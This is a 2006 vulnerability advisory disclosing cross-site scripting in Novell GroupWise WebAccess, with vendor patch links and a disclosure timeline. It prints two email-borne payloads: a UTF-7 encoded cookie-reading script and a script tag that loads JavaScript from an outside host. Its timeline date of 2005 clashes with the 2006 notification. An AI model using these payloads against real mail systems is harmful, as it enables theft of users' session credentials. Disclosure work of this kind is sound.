[ISR] - Novell Groupwise Webaccess (Cross-Site Scripting)
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:: [ISR]
:: Infobyte Security Research
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:: 08.08.2006
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.:: SUMMARY
Novell Groupwise WebAccess Cross-Site Scripting
Version: Novell GroupWise WebAccess 7, 6.5
It is suspected that all previous versions of Groupwise WebAccess are
vulnerable.
.:: BACKGROUND
GroupWise WebAccess is Novell's premier Intranet/Internet GroupWare
solution for the Web.
More info: http://www.novell.com
.:: DESCRIPTION
Remote explotation of Cross-Site Scripting due to failure of the
application to properly
sanitize user-supplied input prior to including it in dynamically generated
Web content.
Example 1:
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Description: The filter of Groupwise doesn't check UTF-7 encondig.
Sending an email with the following html code we can execute javascript
code in the context of authenticated user browser.
<html>
<head>
<META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7">
</head>
+ADw-SCRIPT+AD4-alert(document.cookie);+ADw-/SCRIPT+AD4-
</html>
Example 2:
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Description: The filter of Groupwise doesn't sanitize the following code
<html>
<SCRIPT/XSS SRC="http://www.infobyte.com.ar/xss/xss.js";></SCRIPT>
<<SCRIPT><</SCRIPT>
</html>
It show a simple codes of examples to execute script in the browser of an
unsuspecting user.
These issues may allow for the theft of authentication credentials.
.:: VENDOR RESPONSE
Vendor advisory:
"http://www.novell.com/support/search.do?cmd=displayKC&docType=kc&externalI
d=3701584&sliceId=SAL_Public&dialogID=8568328&stateId=0 0 8572233"
Vendor patch:
Hot Patch for GroupWise 7:
http://support.novell.com/filefinder/20641/beta.html
Field Test File for GroupWise 6.5:
http://support.novell.com/filefinder/16963/beta.html
.:: CVE INFORMATION
Id: CVE-2006-3817
Web: http://cve.mitre.org
.:: DISCLOSURE TIMELINE
05/26/2006 Initial vendor notification
05/26/2006 Initial vendor response
07/31/2005 Coordinated public disclosure
.:: CREDIT
Francisco Amato is credited with discovering this vulnerability.
famato][at][infobyte][dot][com][dot][ar
.:: ADVISORY
http://www.infobyte.com.ar/adv/ISR-14.html
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